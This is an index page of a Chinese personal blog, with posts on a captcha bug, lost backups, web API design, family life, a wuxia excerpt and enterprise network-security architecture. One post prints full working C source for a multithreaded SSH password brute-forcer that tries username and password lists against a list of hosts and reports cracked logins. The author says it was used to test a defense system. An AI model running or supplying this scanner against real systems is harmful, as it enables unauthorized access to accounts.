心路
死生契阔,与子成说。执子之手,与子偕老。

  • 首页
  • 关于
  • MyIcy
  • 琐记(424)
  • 技术(252)
  • 八卦(109)
  • 读书(23)
  • RSS
  • 出来了,嘿嘿~~刷一下...
  • :),确实是这样。...
  • 作安全工作又何尝不这样呢,不...
  • 测试验证码。...
  • 测试功能
  • 楼上的楼上的,果然是,空虚,...
  • 你是这样骗你LP的么。。。。...
  • 你就说想老婆不得了,所以上北...
  • 当前Blog无任何评论...
  • 非常感谢!...
  • HTTPS的,需要走SOCK...
  • 请问如何让WebRequest + We...
  • 所以接受先进帝国的统治是会好...
  • 是哪个地方?说说看,我去问一...
  • 阿里巴巴的人 真是闲的蛋疼 ...
  •  
     
  • sbilly的乌托邦
  • 80 sec
  • 肉肉的洗手间
  • JY美女
  • 螺螺的blog
  • Icy's Blog
  •  
    Powered by: SaBlog
    imagegif: Unable to open temporary file的解决办法
    Submitted by 云舒 on Thu, 02 Feb 2012 12:02:43 +0800. 技术

    godaddy发生了悲剧,于是把博客搬回了国内的空间。结果在windows系统上,验证码出不来,报imagegif: Unable to open temporary file错误。试了一下,把imagegif改成imagepng就可以了。不过不知道为什么,比较诡异。

    评论(2) | 更多内容...
    悲剧发生了
    Submitted by 云舒 on Wed, 01 Feb 2012 15:14:32 +0800. 琐记

    过年一直呆在湖北老家,回杭州后发现把博客过没了。godaddy那边忘记续费,他们删除了我的数据,从上传的图片到数据库的所有内容。等我看看本地的备份,立马要哭了,最新的备份是2011年7月7号的。懒引发的血案啊。

    还好有google reader,可以把丢失期间的博客重新写出来,遗憾的是评论中的讨论永远消失了。这个周末写备份脚本,每天一次!另外,我的宝宝马上半岁了,她的博客也可以发布出来了。http://baby.icylife.net,我会一直写到她自己会写为止。

    评论(3) | 更多内容...
    扫描ssh密码
    Submitted by 云舒 on Wed, 01 Feb 2012 15:08:34 +0800. 技术

     很久以前有个人给了我一本小书名字是《heroes in my heart》,其中有一段是讲数学希尔伯特的。“一次在 Hilbert 的讨论班上,一个年轻人报告,其中用了一个很漂亮的定理,Hilbert 说:‘这真是一个妙不可言(wunderbaschon)的定理呀,是谁发现的?’那个年轻人茫然的站了很久,对 Hilbert 说:‘是你……’”

    不是很久之前,我测试一个自动防御系统,需要进行ssh密码扫描。试了medusa和ncrack,悲剧的是在我的环境下都不够稳定。无意中发现坐对面的同事在用一个小巧的程序做测试,跑得还行,于是我说不错啊,这程序哪儿搞的。他看了一下代码,说”你写的“,于是我让他把代码发给我。最近一段时间一直没有更新博客,不是没有写的,而是可写的太多反而不知道写什么好,而且有些东西也不方便写出来。干脆贴一个老代码,滥竽充数吧。

     

    /*  it's not a cracker, but scanner.
    version 0.1, code by yunshu(wustyunshu@hotmail.com) 2010-09-08
    you should install botan and net7ssh first, complie with "gcc sshscan.cpp -lnet7ssh -lbotan -o sshscan"
    be sure the ssh port is open, it will not detect service when it is scanning. */
      #include <stdio.h> #include <sys/wait.h> #include <stdlib.h> #include <pthread.h> #include <ne7ssh.h>   #define MAX_HOST 10 #define MAX_CONNECTION 5 #define USER_NAME "%USERNAME%"   typedef struct { char target[512]; int cracked; FILE *user_fd; char pwd_file[512]; pthread_mutex_t mutex; }ScanArgument;   ne7ssh *ssh;   void Usage( char *str ) { printf( "%s <ip_list> <user_list> <pwd_list>\n", str ); }   // copy from internet char * StringReplace(char *str, char *old, char *new_str) { int i, count = 0; int newlen = strlen(new_str); int oldlen = strlen(old);   for (i = 0; str[i]; ++i) if (strstr(&str[i], old) == &str[i]) ++count, i += oldlen - 1;   char *ret = (char *) calloc(i + 1 + count * (newlen - oldlen), sizeof(char)); if (!ret) return NULL;   i = 0; while (*str) if (strstr(str, old) == str) strcpy(&ret[i], new_str), i += newlen, str += oldlen; else ret[i++] = *str++;   ret[i] = ' ';   return ret; }   void *CrackPwd( void *_arg ) { ScanArgument *arg = (ScanArgument *)_arg; char user[256] = { 0 }; char tmp[256] = { 0 }; char pwd[256] = { 0 }; int cracked = 0;   FILE *pwd_fd = fopen(arg->pwd_file, "r");   while( 1 ) { // all users done, this thread will exit. pthread_mutex_lock( &arg->mutex ); if( feof(arg->user_fd) ) { pthread_mutex_unlock( &arg->mutex ); break; }   // read username memset( user, 0, sizeof(user) ); fgets( user, sizeof(user)-1, arg->user_fd );   cracked = 0;   pthread_mutex_unlock( &arg->mutex );   // skip blank line while( user[strlen(user)-1] == '\r' || user[strlen(user)-1] == '\n' ) { user[strlen(user)-1] = ' '; } if( strlen(user) < 1 ) { continue; } //printf("test username:%s\n", user);   //rewind(pwd_fd); while( !feof(pwd_fd) ) { if( cracked == 1 ) { //printf( "[found], try next user name.\n" ); break; }   memset( tmp, 0, sizeof(tmp) ); fgets( tmp, sizeof(tmp)-1, pwd_fd ); //printf("test tmp:%s\n", tmp);   while( tmp[strlen(tmp)-1] == '\r' || tmp[strlen(tmp)-1] == '\n' ) { tmp[strlen(tmp)-1] = ' ';   } if( strlen(tmp) < 1 ) { continue; }   memset(pwd, 0, sizeof(pwd) ); strncpy( pwd, StringReplace(tmp, USER_NAME, user), sizeof(pwd)-1 );   //printf( "<test> %s %s/%s\n", arg->target, user, pwd ); int channel = ssh->connectWithPassword ( arg->target, 22, user, pwd, false, 4 ); if (channel >= 0) { ssh->close(channel); printf( "[found] %s %s/%s\n", arg->target, user, pwd ); cracked = 1; } }   }   fclose(pwd_fd); return NULL; }   void ProcessHost( char *host, char *user_file, char *pwd_file ) { int index; ScanArgument arg; pthread_t workers[MAX_CONNECTION];   arg.user_fd = fopen(user_file, "r"); strncpy( arg.pwd_file, pwd_file, sizeof(arg.pwd_file)-1 ); strncpy( arg.target, host, sizeof(arg.target)-1 ); pthread_mutex_init( &arg.mutex, NULL); arg.cracked = 0;   //printf("processing %s\n", host); for( index = 0; index < MAX_CONNECTION; index ++ ) { pthread_create( &workers[index], NULL, CrackPwd, (void *)&arg ); }   for( index = 0; index < MAX_CONNECTION; index ++ ) { pthread_join( workers[index], NULL ); }   fclose(arg.user_fd); //printf("all thread exit.\n"); }   void ProcessHostList( FILE *host_fd, char *user_file, char *pwd_file, int *current_host ) { int pid = 0; char host[512] = { 0 };   memset( (void *)host, 0, sizeof(host) ); fgets(host, sizeof(host) - 1, host_fd );   while( host[strlen(host)-1] == '\r' || host[strlen(host)-1] == '\n' ) { host[strlen(host)-1] = ' '; }   if( host[0] == '\r' || host[0] == '\n' || strlen(host) < 4) { return; }   pid = fork(); if( pid < 0 ) { perror( "fork error for." ); return; }   if( pid == 0 ) { ProcessHost( host, user_file, pwd_file ); //printf( "exit one.\n" ); exit( 0 ); } else { (*current_host) ++; } }   int main(int argc,char *argv[]) { FILE *host_fd; int current_host = 0;   if( argc != 4 ) { Usage( argv[0] ); return -1; }   // open all files host_fd = fopen( argv[1], "r" ); if( NULL == host_fd ) { perror( "open ip list error." ); return -1; }   // init ssh library ssh = new ne7ssh();   // create enough child frist. while( current_host < MAX_HOST ) { //printf( "now %d hosts.\n", current_host ); // all host done(when the totle number of hosts is less than MAX_HOSTS) if( feof(host_fd) ) { //printf( "feof.\n" ); break; }   // process new host ProcessHostList( host_fd, argv[2], argv[3], &current_host ); }   while ( wait(NULL) > 0 ) { //printf( "we can get new.\n" ); // all host done, wait all child exit. if( feof(host_fd) ) { //printf( "wait to quit.\n" ); current_host --; sleep( 2 ); continue; }   // process new host ProcessHostList( host_fd, argv[2], argv[3], &current_host ); }   // clean up fclose( host_fd );   delete ssh; printf( "All done.\n" );   return 0; }
    评论(0) | 更多内容...
    WEB API的粒度问题
    Submitted by 云舒 on Wed, 01 Feb 2012 15:08:11 +0800. 技术

     最近工作重心转移比较大,想想最近几年挺有意思的,不过等年底总结再写。这里说说最近感受的一个东西,那就是WEB API的粒度粗细问题。

    我们的阿里云提供类似亚马逊的Web Hosting服务,各种网站各种业务都有,因此需要把以前只给内部提供的一些安全服务作为增值业务推到外部去,给使用Hosting业务的客户使用,让他们无需研究安全就可以得到保护。这里就涉及到系统改造,最简单的方式是在原有系统的外面再包装一层,让Hosting业务的前端调用WEB API间接的使用安全服务。这个方案,其实2008年我有做过类似的事情,当时时包装SUN的一个认证系统,见 http://www.icylife.net/yunshu/show.php?id=650

    。问题在于,当年的这个系统很小,实施起来比较简单。而现在的涉及到前端业务的变化和复杂度,再加上性能的考虑,这个API的颗粒度如何把握?

    首先看看颗粒度比较细的API的劣势,显然的,粒度越细的API调用起来越繁琐。假设安全部门侦测到某个IP的VM处于SSH密码猜解状态,需要调用后端的系统做处理。这时候可能要先调用WEB API将VM IP转换为VM Name,基于VM Name查询VM ID,基于VM ID再做策略变更,我相信大多数的开发者面对这种连锁的API调用都会抓狂的,而且代码会非常的累赘。另一方面,WEB API是远程调用,HTTP协议性能并不高,来来往往的解析导致整个系统最终的性能会非常的差。但是,这种细粒度的API也带来很大的好处,那就是灵活性,无与伦比的灵活性。整个系统在物理上可以分布式架构,也不用顾忌不同的语言之间的整合。最重要的一点是,前端频繁的业务变化不会带来后端API的变化,只需要调用者修改代码组合不同的API就可以实现新的功能。

    相比而言,粗粒度的WEB API优缺点也很清楚,就无需多说了。那么是否有好的方式,兼顾两点?我的看法是很难。具体粒度如何粗细,只能凭借经验去把握了。

    评论(0) | 更多内容...
    结婚三周年
    Submitted by 云舒 on Wed, 01 Feb 2012 15:07:56 +0800. 琐记

     最近工作比较忙。Icy抱着宝宝睡着了,我趁机会一个人坐在电脑前写几个字。

    上周五是Icy二十九岁生日,周六则是我们结婚三周年纪念。一晃就是三年了。自从有了宝宝之后,生活改变了许多,不过周六还是偷闲过了比较洒脱的一天,把宝宝完全交给了岳母。我和Icy午饭后出门,去万象城买东西、看电影。悲剧的是多了一个庆春过江隧道,新修的,路很好,于是我毫不犹豫一路开到了萧山。周折之后才到达万象城,稍微好看点的也就是一个《失恋三十三天》,不过我觉得这个实在不适合结婚纪念日看,于是就把目标改变为单纯的买衣服,然后在仙踪林坐坐吃点小点心。五点开始返回市区,因为我周五预定了杭州大厦楼上的王品台塑牛排晚餐。

    差不多六点二十到达杭州大厦,服务生把我们带到座位的时候,一切都已经准备好了。靠窗的角落,桌上撒上了玫瑰花,还有花瓣摆成的心形,很喜欢。饭后回家,宝宝已经睡得很甜了。结婚四周年的日子,我们就可以带着宝宝一起,那时候她该有一岁半了。

    评论(0) | 更多内容...
    最喜欢的打斗场面之一 ——陆小凤对金九龄
    Submitted by 云舒 on Wed, 01 Feb 2012 15:07:37 +0800. 读书

      金九龄微笑道"这屋子已是死地,我现在也正想将自己先置之于死地而后生"这句话说完,他的大铁推已出手。
    这大铁惟实际的重量是八十七斤。 一柄八十七斤重的大铁椎,在他手底施出来,竟仿佛轻如鸿毛,他用的招式轻巧灵变,也正像是在用绣花针一样,这一招施出,竟暗藏着六七种变化,却听不见丝毫风声。陆小风叹了口气。
    直到现在他才真的明白,金九龄实在是个深藏不露的人,武功实在是深不可测。直到现在他才相信,木道人、古松居士,苦瓜大师他们,的确不是这个人的对手。他的心念转动极快,动作更快。他的脚步轻转一滑.绣花针已反手刺出,只"磁"的一声.针锋破空,竞像是强弩出匣这根绣花针虽然轻如鸿毛,在他手里施出来,却仿佛重逾百斤,他用的招式刚猛锋厉,竟也正像是在用一柄大铁椎,霎眼间两人已各自出手十余招。至强至刚的兵器,用的反而是至灵至巧的招式,至弱至巧的兵器,用的反而是至刚至强的招式。
    这一战之精采,已绝不是任何人所能形容。江重威、华一帆、常漫天面上都已不禁露出惊讶之色。他们虽看不见却听得见。
    屋子里只听得见绣花针的破空声,反而听不见大铁椎的劲风。他们全都是身经百战的高手,却也无法想像这是怎么回事。只听绣花针破空之声."赤赤"不绝,越来越急.而且听之在东.忽而在西,流窜变化,竞远比飞蜂还快十倍。
    华一帆忍不住长叹道"难怪木道人也常说陆小凤是百年难逢的武林奇才,此言果然不虚"常漫天沉着脸,道"但金九龄却更可怕!"华一帆道"哦?"常漫天道"陆小凤的出手如此迅急,招式变化如此快,但金九龄的大铁椎施展间,竞还能连一点风声都不带出来,这岂非更令人不可思议。他知道金九龄用的是大铁椎,因为他刚才已问过欧阳情。他交手经验的丰富,远不是养尊处优的华玉轩主人能比得上的,他的分析当然也远比华一帆更精。
    华一帆沉默了半晌,缓缓道"久闻常总镖头身经战役之多,少有人及,这话看来也不假", 一句话刚说完,突听"呼"的 一声,如狂风骤起,如神龙。
    常漫天耸然道"金九龄招式已变了"
    金九龄招式如此变了,变得刚烈威猛,无坚不摧.无物可当,屋子里突然间己被人铁椎的风声笼罩,几乎巳没有别人的容身之地。江重威动容道"难道他刚才都是在试探陆小凤的出手招式,直到现在才真正使出真功夫来"常漫大道"但陆小凤的真功夫也使出来了。
    江重威道"怎见得?"
    常漫天道:"他的大铁推招式如此凌厉,若是换了别人,早已被逼出了屋子,但陆小凤却反而没有动静了,显然还能从容应付,在待机而动。"欧阳情看着他,眼睛里不禁露出钦佩之色。这瞎子看得竟比有眼睛的人还准,陆小凤的确还可以从容应付,他的人竟似已从有形变成了无形,竟似已变得可以随意扭曲变化,竟似变成了一阵风。无论金九龄的大铁椎怎么样逼他,他总是轻描淡写的就闪了过去。
    有时这大铁椎明明已将他逼入了死地,谁知他身子突然 一扭,就已化险为夷。公孙大娘脸上本来还带着忧郁之色,现在却已松了口气。
    常漫天忽然叹道"我本来还认为陆小凤不是敌手,现在才知道金九龄已必败无疑!
    江重威又问。"怎见得?"
    常漫天道:"金九龄现在已施展出至刚至强的招式,刚必易折,强必不能持久,他的力气消耗,必定远比陆小凤快得多。"他脸上也发出了光,慢慢的接着道:"等到他已不能将大铁椎运用自如,要砸烂屋子里的东西的时候,也就表示他气力已将竭,陆小凤已可反击了!

    评论(0) | 更多内容...
    互联网企业网络安全架构系列之六 —— 无线网安全
    Submitted by 云舒 on Wed, 01 Feb 2012 15:07:17 +0800. 技术

      手头上有6个项目在进行,工作之余给老婆打下手看孩子,有时候又想懒一下翘着脚看看好玩的东西,写文章的时间越来越少了。现在想介绍一下办公网无线方面的安全架构,然后暂时终结掉这个系列。IDC我还没想好怎么写,因为很多东西没有选择,一写出来就知道阿里巴巴的真实架构了,尤其是虚拟化云计算,这方面我做了很多工作,但是一直只能避而不谈。

    我们回到正题,谈谈无线网络的安全设计。无线网络在安全性方面,先天就比有线网络要脆弱,因为数据通是以空气为介质直接向四面八方广播的,任何人都可以很方便的在无线接入点附近捕获到这些数据,除非哪一天公司也能够有领地领空一说。有线网络的数据则通过比较密闭的载体——网线来定向传播,虽然网线也不硬,但是至少我还没见过有人通过剪断网线加入分流设备来截取资料的事件。无线网的安全,按照发展历史大致可以分为WEP时代、WPA时代以及现在的WPA2时代,作为架构设计的背景下面逐个介绍,我国的WAPI就先无视吧。

    WEP是无线网络最开始使用的安全协议,全称为Wire Equal Protocol,即有线等效协议,是所有经过Wi-Fi认证的无线局域网所支持的一项标准功能。WEP提供基本的安全性保证,防止有意的窃听, 它使用基于共享加密密钥的RC4对称加密算法对网络中所有通过无线传送的数据进行加密,密钥直接部署在AP和客户端,不需要公开传输,从而对网络提供基本的传输加密。WEP也提供基本的认证功能,当加密机制功能启用后,客户端尝试连接上AP时,AP会发出一个Challenge Packet给客户端,客户端再利用预先保存的共享密钥将此值加密后送回AP以进行认证比对,如果与AP自己进行加密后的数据一致,则该终端获准联入网络,存取网络资源。也就是说,认证和加密使用一个相同的预设置的KEY。WEP协议存在非常多的缺陷,主要表现在密钥管理,传输安全等方面。首先,终端密钥必须和AP密钥相同,并且需要在多台终端上部署,用来进行基本的认证和加密。密钥没有统一管理部署的能力,更换密钥时需要手动更新AP和所有的终端,成本极大。倘若一个用户丢失密钥,就会殃及到整个网络的安全性。其次,在数据传输方面,因为整个网络加密使用的KEY不做变换,RC4加密算法又不够强壮,攻击者收集到足够多的密文数据包后就可以直接计算出密钥,嗅探网络中的通信,也可以使用解密的KEY直接接入网络,整个破解过程不会超过15分钟。最后,WEP中的数据完整性检验算法也不够强壮,WEP ICV是一种基于CRC-32的用于检测传输噪音和普通错误的算法。CRC-32是信息的线性函数,攻击者篡改加密信息后,可以很容易地修改ICV,通过解密端的检验。总而言之,WEP是一种过时的安全策略,不应该在任何企业网络中使用。

    针对这种情况,IEEE推出了802.11i标准。但是标准过于庞大一时难以实现,而现实中恶劣的情况又急需安全措施,他们只能先做一套简约版的临时救火措施,这套措施就是WPA,对比WEP而言实现了三个最关键的改动。第一个是除了PSK(pre-shared key)模式这种类似WEP预设KEY的认证之外,还支持802.1X认证。802.1X使用独立的radius服务器,每个用户使用不同的密码登录,提高了认证强度。关于802.1X前面做过很多介绍,略过不谈。第二个改动是增加了TKIP协议(临时密钥完整性协议),可以将其理解为WEP外面的一层保护皮。WEP容易破解是因为RC算法不强,而且密钥固定不变,TKIP的做法就是在传输过程中为每个包生成不同的加密密钥,增大破解难度。第三个是更强的数据完整性检验算法,解决篡改问题。WPA已经可以比较安全的使用了,但是作为临时措施它的生命并不长久,WPA2随后就到。WPA2中使用更强的AES(Advanced Encryption Standard)加密算法取代WPA中的RC4,也使用了更强的完整性检验算法CCMP。因为这些杂乱的历史原因,WPA有一些诡异的昵,WPA个人,WPA企业,WPA2个人,WPA2企业。其实这里的个人就是预设KEY认证模式,企业就是802.1X认证模式。有了这些无线安全基础,下面介绍两种可行的方案。

    第一种方案,毫无疑问是最简洁最直接的WPA2方案。类似安全域划分中的结构,使用ACS(Access Control Server)或者IAS(Internet Authentication Service)作为radius服务器,设置域控制器为外部数据库,将组织架构与本地组映射,做验证并授权。作为具有内部PKI的企业,可以选用PEAP提供安全的认证通道,使用MSCHAPv2作为具体的认证方法。注意的是,任何和证书有效性相关的地方,一定要检验证书的有效性,可以看http://icylife.net/yunshu/show.php?id=814关于PEAP-MSCHAPv2设置不当引起的中间人劫持攻击。看过我关于动态VLAN划分的文章,可以发现这里的无线网和有线网非常大一部分是一样的,区别在于先要让无线数据在空气中安全传输,然后就是标准的做法了,无线和有线融合到了一起。

    第二种方案,并不是标准做法,06年我在雅虎期间由于某些原因别出心裁的创造了一个诡异的方案。我直接选用了最不安全的WEP方式组网,用户连接上这个不安全的无线网络时,直接被划入到一个为无线准备的GUEST VLAN中,该网络无法访问除了一个VPN Server之外任意地方,两辆互访都被拦截。那么如何访问公司内部资源以及认证授权?关键点在于这个VPN服务器。所有要使用无线网的人,必须连接上AP之后使用RSA Token动态口令做认证。所有的认证和授权,由VPN服务器进行,数据传输安全由VPN的IPSEC通道保证。这个方案有什么优点让我选择它?我就不细说了,大家可以自己推测。有什么缺点,我也不描述。

    另外值得一提的是,公司免不了有访客,如果使用AD认证如何解决他们的权限问题?我的建议是建立两套单独的WLAN,访客网络虽然也使用ACS做认证授权,但是使用人工建立账号的方式进行。设计一个访客申请网络权限的流程,流程与ACS对接,审批通过后自动建立帐号并在指定时间后删除。至于权限,应该是只能访问internet,和内网完全隔离。

    这一节,我的本意不是写技术。希望大家在文章中看到一点别的。有线无线,总归一样,标准与非标准,皆是选择。总而言之,兵无常势水无常形,运用之妙存乎一心。任何的技术方案,一定要明白它的本质。

    评论(0) | 更多内容...
    互联网企业网络安全架构系列之五 —— 办公网其它安全
    Submitted by 云舒 on Wed, 01 Feb 2012 15:06:55 +0800. 技术

      最近在忙项目,所以好久没写新的东西了。今天投一点空写一点,表示我没有太监。这一篇也写简单点,就当是看提纲吧。

    DHCP攻击防御
    DHCP Snooping技术,是办公网很多防御策略的根基。接入层交换机开启 DHCP Snooping后,会对DHCP报文进行解析,从Request和Response中提取并记录客户端的MAC地址和DHCP Server分配给它的IP地址,形成一个动态的绑定。另外,DHCP Snooping将某个物理端口设置为信任端口,其它为不信任端口,当攻击者伪造DHCP Server试图进行攻击的时候,伪造的Response会被交换机丢弃。最后,根据端口每秒最大DHCP请求报文数量,和解码DHCP请求报文判断客户端MAC地址等内容,DHCP Snooping可以防御客户端大量请求DHCP服务造成DHCP Server拒绝服务的攻击。

    ARP欺骗防御
    接入层交换机部署思科DAI(Dynamic ARP Inspection)技术,防御ARP欺骗攻击。DAI以上文描述的DHCP Snooping为基础,根据DHCP Snooping中记录的MAC、IP地址动态表对ARP协议做过滤。当客户端发动ARP欺骗攻击时,交换机检测到ARP包中宣告的MAC地址和IP地址匹配情况与DHCP Snooping表中记录的内容不符,则将攻击包丢弃。

    IP伪装防御
    接入层交换机部署IP Source Guard技术防御IP伪装攻击,常见的为SYN Flood。此方案和DAI类似,同样基于DHCP Snooping表对报文进行过滤,不过区别在于IP Source Guard过滤TCP层,UDP层,ICMP层等高层协议报文。

    当检测到传输层或者IP层协议中的源IP地址与DHCP Snooping表不符时丢弃报文,拦截伪装IP地址的攻击。同时,可在核心层路由部署URPF(Unicast Reverse Path Forward)策略,辅助接入层的IP Source Guard方案,防止遗漏。

    CAM表攻击防御
    在接入层交换机启用Port Security,设置一个交换机端口可通过的最大MAC数量以及可通过的MAC地址列表,防范伪造大量虚假MAC地址针对交换机CAM表的攻击。同时,对物理端口接入HUB可有效拦截。

    PPS限制
    对接入层交换机的每个端口做PPS(packets per second)限制,防止DDoS攻击,并可对BT、电驴、电骡之类P2P应用做出一些限制。

    评论(0) | 更多内容...

    共有808篇文章8篇/每页 « 1 2 3 4 5 6 7 8 9 10 ... 101 »
     
    Processed in 0.406008 second(s)